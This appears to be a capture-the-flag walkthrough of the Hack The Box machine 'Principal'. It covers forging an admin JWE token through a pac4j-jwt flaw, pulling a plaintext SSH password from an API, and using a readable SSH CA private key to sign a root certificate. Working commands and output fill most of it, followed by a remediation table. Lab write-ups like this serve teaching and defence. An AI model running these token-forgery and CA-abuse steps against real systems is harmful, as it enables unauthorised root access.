← Back to writeups

HTB Principal: JWT Authentication Bypass to SSH CA Key Forgery

Introduction

Principal is a Medium Linux machine that chains a JWT authentication bypass (CVE-2026-29000) with an SSH CA private key exposure. The attack path: fingerprint the pac4j-jwt library, forge an admin JWE token, enumerate an API to obtain SSH credentials, and finally use a stolen Certificate Authority key to sign a certificate for root.

Attack Overview

Nmap → pac4j-jwt/6.0.3 header

CVE-2026-29000 JWKS JWE bypass → ROLE_ADMIN token

/api/settings → D3pl0y_$$H_Now42!

SSH as svc-deploy (deployers group)

Read /opt/principal/ssh/ca (CA private key)

Forge SSH cert -n root

SSH as root

Reconnaissance

Nmap scan:

sudo nmap -sS -sV -sC 10.129.40.23 -oA Scan_Principal
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
8080/tcp open  http-proxy Jetty
| http-title: Principal Internal Platform - Login
| X-Powered-By: pac4j-jwt/6.0.3

Port 8080 hosts a Jetty-based Java application. The X-Powered-By header reveals pac4j-jwt/6.0.3, a JWT library known to be vulnerable to CVE-2026-29000.

Web Enumeration

Directory fuzzing reveals:

/login      [200]
/dashboard  [200] → requires authentication
/error      [500]

The attack surface is the authentication mechanism itself.

Initial Foothold – CVE-2026-29000 (pac4j JWT Authentication Bypass)

Vulnerability Overview

CVE-2026-29000 affects pac4j versions that expose the /api/auth/jwks endpoint containing the server’s public key. The library accepts JWE (JSON Web Encryption) tokens where the inner payload is a plain JWT with algorithm none. By encrypting a forged plain JWT using the server’s own public key, an attacker can impersonate any user and role.

Exploitation

Using a public PoC (alihussainzada/CVE-2026-29000-Python-PoC):

python3 exploit.py \
  --jwks http://10.129.40.23:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

Output:

[*] Fetching JWKS...
[+] Public key loaded
[+] PlainJWT created
=== Malicious JWE Token ===
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6...

Use the token as a Bearer authorization header. The token wraps a {"sub":"admin","roles":["ROLE_ADMIN"]} plain JWT inside a JWE encrypted with the server’s RSA public key.

API Enumeration as Admin

With the admin token, enumerate users:

curl -s -H "Authorization: Bearer <TOKEN>" \
     http://10.129.40.23:8080/api/users | jq

Notable accounts: admin (Sarah Chen), svc-deploy (service account for deployments).

Enumerate settings:

curl -s -H "Authorization: Bearer <TOKEN>" \
     http://10.129.40.23:8080/api/settings | jq

Critical finding:

"deployKey": "D3pl0y_$$H_Now42!"

Plaintext SSH password for svc-deploy.

User Flag

ssh svc-deploy@10.129.244.220
# Password: D3pl0y_$$H_Now42!
svc-deploy@principal:~$ cat user.txt
[redacted]

Privilege Escalation – SSH CA Key Forgery

Enumeration

svc-deploy is a member of the deployers group:

id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)

LinPEAS reveals readable files owned by root and group deployers:

-rw-r----- 1 root deployers  168 /etc/ssh/sshd_config.d/60-principal.conf
-rw-r----- 1 root deployers  288 /opt/principal/ssh/README.txt
-rw-r----- 1 root deployers 3381 /opt/principal/ssh/ca

The SSH CA private key is readable by the deployers group. The SSH server configuration confirms trust:

cat /etc/ssh/sshd_config.d/60-principal.conf
# TrustedUserCAKeys /opt/principal/ssh/ca.pub

Forging a Root Certificate

Generate a new keypair:

ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""

Sign the public key using the stolen CA private key, targeting root as the principal:

ssh-keygen -s /opt/principal/ssh/ca \
           -I "ctf_cert" \
           -n root \
           /tmp/id_rsa.pub

Output: Signed user key /tmp/id_rsa-cert.pub: id "ctf_cert" serial 0 for root valid forever

Connect as root:

ssh -i /tmp/id_rsa root@localhost

Root flag:

[redacted]

Unintended Path – CVE-2026-41651 (PackageKit)

LinPEAS also flags PackageKit version 1.2.8 as vulnerable to CVE-2026-41651 (Pack2TheRoot). This TOCTOU race condition allows a local user to install a malicious .deb and obtain a SUID shell. This path works but is less instructive.

Key Takeaways

VulnerabilityRoot CauseRemediation
CVE-2026-29000 (JWT bypass)Library accepts unsigned inner JWT inside JWE; JWKS endpoint exposedNever expose JWKS endpoint if library trusts unsigned tokens; validate inner JWT signature
Plaintext credentials in API responsedeployKey returned by /api/settings endpointStore secrets in a vault (HashiCorp Vault, AWS Secrets Manager); never return them via API
SSH CA private key readable by service accountdeployers group has read access to /opt/principal/ssh/caRestrict CA private key to root-only access; ideally store offline or in HSM
SSH CA trust model misconfigurationTrustedUserCAKeys points to a CA whose private key is exposedAudit file permissions; CA private key should never reside on production hosts

Resources